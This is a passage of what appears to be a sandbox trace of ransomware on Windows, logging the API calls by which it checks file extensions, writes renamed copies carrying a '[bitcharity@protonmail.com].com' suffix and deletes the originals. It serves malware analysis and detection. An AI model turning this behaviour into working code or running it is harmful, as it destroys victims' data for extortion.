(lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.868] lstrlenW (lpString=".doc") returned 4 [0134.868] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.868] lstrlenW (lpString=".docx") returned 5 [0134.868] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.868] lstrlenW (lpString=".pdf") returned 4 [0134.868] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.868] lstrlenW (lpString=".xls") returned 4 [0134.868] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.868] lstrlenW (lpString=".xlsx") returned 5 [0134.868] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.869] lstrlenW (lpString=".ppt") returned 4 [0134.869] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.869] lstrlenW (lpString=".zip") returned 4 [0134.869] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.869] lstrlenW (lpString=".rar") returned 4 [0134.869] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.869] lstrlenW (lpString=".bz2") returned 4 [0134.869] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.869] lstrlenW (lpString=".7z") returned 3 [0134.869] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.869] lstrlenW (lpString=".dbf") returned 4 [0134.869] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.869] lstrlenW (lpString=".1cd") returned 4 [0134.869] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.869] lstrlenW (lpString=".jpg") returned 4 [0134.869] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.869] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0134.869] lstrlenW (lpString="SetupResources.dll") returned 18 [0134.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0134.870] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=14168) returned 1 [0134.870] CloseHandle (hObject=0x1098) returned 1 [0134.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0134.870] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0134.870] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.870] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.870] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0134.908] GetLastError () returned 0x0 [0134.908] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x3758, lpOverlapped=0x0) returned 1 [0135.017] WriteFile (in: hFile=0x10a0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x3760, lpOverlapped=0x0) returned 1 [0135.018] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.018] WriteFile (in: hFile=0x10a0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0135.018] SetEndOfFile (hFile=0x10a0) returned 1 [0135.019] CloseHandle (hObject=0x10a0) returned 1 [0135.019] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.019] SetEndOfFile (hFile=0x1098) returned 1 [0135.020] CloseHandle (hObject=0x1098) returned 1 [0135.020] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.020] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.021] lstrlenW (lpString=".doc") returned 4 [0135.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString=".docx") returned 5 [0135.021] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.021] lstrlenW (lpString=".pdf") returned 4 [0135.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString=".xls") returned 4 [0135.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString=".xlsx") returned 5 [0135.021] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.021] lstrlenW (lpString=".ppt") returned 4 [0135.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.021] lstrlenW (lpString=".zip") returned 4 [0135.021] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString=".rar") returned 4 [0135.021] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.021] lstrlenW (lpString=".bz2") returned 4 [0135.021] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.021] lstrlenW (lpString=".7z") returned 3 [0135.021] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.021] lstrlenW (lpString=".dbf") returned 4 [0135.021] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.021] lstrlenW (lpString=".1cd") returned 4 [0135.021] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".jpg") returned 4 [0135.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".doc") returned 4 [0135.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString=".docx") returned 5 [0135.022] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.022] lstrlenW (lpString=".pdf") returned 4 [0135.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString=".xls") returned 4 [0135.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString=".xlsx") returned 5 [0135.022] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.022] lstrlenW (lpString=".ppt") returned 4 [0135.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".zip") returned 4 [0135.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString=".rar") returned 4 [0135.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.022] lstrlenW (lpString=".bz2") returned 4 [0135.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.022] lstrlenW (lpString=".7z") returned 3 [0135.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".dbf") returned 4 [0135.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".1cd") returned 4 [0135.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0135.022] lstrlenW (lpString=".jpg") returned 4 [0135.022] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.023] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0135.023] lstrlenW (lpString="SetupResources.dll") returned 18 [0135.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0135.023] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=18776) returned 1 [0135.023] CloseHandle (hObject=0x1098) returned 1 [0135.023] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0135.023] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0135.023] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.023] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0135.858] GetLastError () returned 0x0 [0135.858] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0136.166] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0136.167] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.167] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0136.167] SetEndOfFile (hFile=0x10a8) returned 1 [0136.168] CloseHandle (hObject=0x10a8) returned 1 [0136.173] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.173] SetEndOfFile (hFile=0x1098) returned 1 [0136.174] CloseHandle (hObject=0x1098) returned 1 [0136.174] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.175] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0136.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.175] lstrlenW (lpString=".doc") returned 4 [0136.175] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".docx") returned 5 [0136.175] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0136.175] lstrlenW (lpString=".pdf") returned 4 [0136.175] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".xls") returned 4 [0136.175] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".xlsx") returned 5 [0136.175] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0136.175] lstrlenW (lpString=".ppt") returned 4 [0136.175] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.175] lstrlenW (lpString=".zip") returned 4 [0136.175] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".rar") returned 4 [0136.175] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".bz2") returned 4 [0136.175] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0136.175] lstrlenW (lpString=".7z") returned 3 [0136.175] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString=".dbf") returned 4 [0136.176] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString=".1cd") returned 4 [0136.176] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString=".jpg") returned 4 [0136.176] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString=".doc") returned 4 [0136.176] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString=".docx") returned 5 [0136.176] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0136.176] lstrlenW (lpString=".pdf") returned 4 [0136.176] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString=".xls") returned 4 [0136.176] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString=".xlsx") returned 5 [0136.176] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0136.176] lstrlenW (lpString=".ppt") returned 4 [0136.176] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.176] lstrlenW (lpString=".zip") returned 4 [0136.176] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString=".rar") returned 4 [0136.176] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0136.176] lstrlenW (lpString=".bz2") returned 4 [0136.176] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0136.177] lstrlenW (lpString=".7z") returned 3 [0136.177] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0136.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.177] lstrlenW (lpString=".dbf") returned 4 [0136.177] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0136.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.177] lstrlenW (lpString=".1cd") returned 4 [0136.177] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0136.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0136.177] lstrlenW (lpString=".jpg") returned 4 [0136.177] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0136.177] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.177] lstrlenW (lpString="Rotate2.ico") returned 11 [0136.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.365] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=894) returned 1 [0136.365] CloseHandle (hObject=0x10c0) returned 1 [0136.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0136.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.365] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.365] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0136.365] GetLastError () returned 0x0 [0136.366] ReadFile (in: hFile=0x10c0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.465] WriteFile (in: hFile=0x10b8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.466] ReadFile (in: hFile=0x10c0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.466] WriteFile (in: hFile=0x10b8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.466] SetEndOfFile (hFile=0x10b8) returned 1 [0136.466] CloseHandle (hObject=0x10b8) returned 1 [0136.470] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.470] SetEndOfFile (hFile=0x10c0) returned 1 [0136.471] CloseHandle (hObject=0x10c0) returned 1 [0136.471] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.471] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0136.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.472] lstrlenW (lpString=".doc") returned 4 [0136.472] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.472] lstrlenW (lpString=".docx") returned 5 [0136.472] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0136.472] lstrlenW (lpString=".pdf") returned 4 [0136.472] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.472] lstrlenW (lpString=".xls") returned 4 [0136.472] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.472] lstrlenW (lpString=".xlsx") returned 5 [0136.472] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0136.472] lstrlenW (lpString=".ppt") returned 4 [0136.472] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.472] lstrlenW (lpString=".zip") returned 4 [0136.473] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.473] lstrlenW (lpString=".rar") returned 4 [0136.473] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.473] lstrlenW (lpString=".bz2") returned 4 [0136.473] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.473] lstrlenW (lpString=".7z") returned 3 [0136.473] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.473] lstrlenW (lpString=".dbf") returned 4 [0136.473] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.473] lstrlenW (lpString=".1cd") returned 4 [0136.473] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.473] lstrlenW (lpString=".jpg") returned 4 [0136.473] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.473] lstrlenW (lpString=".doc") returned 4 [0136.473] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.473] lstrlenW (lpString=".docx") returned 5 [0136.473] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0136.473] lstrlenW (lpString=".pdf") returned 4 [0136.473] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.473] lstrlenW (lpString=".xls") returned 4 [0136.473] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.473] lstrlenW (lpString=".xlsx") returned 5 [0136.473] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0136.473] lstrlenW (lpString=".ppt") returned 4 [0136.474] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.474] lstrlenW (lpString=".zip") returned 4 [0136.474] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.474] lstrlenW (lpString=".rar") returned 4 [0136.474] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.474] lstrlenW (lpString=".bz2") returned 4 [0136.474] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.474] lstrlenW (lpString=".7z") returned 3 [0136.474] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.474] lstrlenW (lpString=".dbf") returned 4 [0136.474] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.474] lstrlenW (lpString=".1cd") returned 4 [0136.474] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0136.474] lstrlenW (lpString=".jpg") returned 4 [0136.474] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.475] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.475] lstrlenW (lpString="Rotate5.ico") returned 11 [0136.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.475] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2d0ff14 | out: 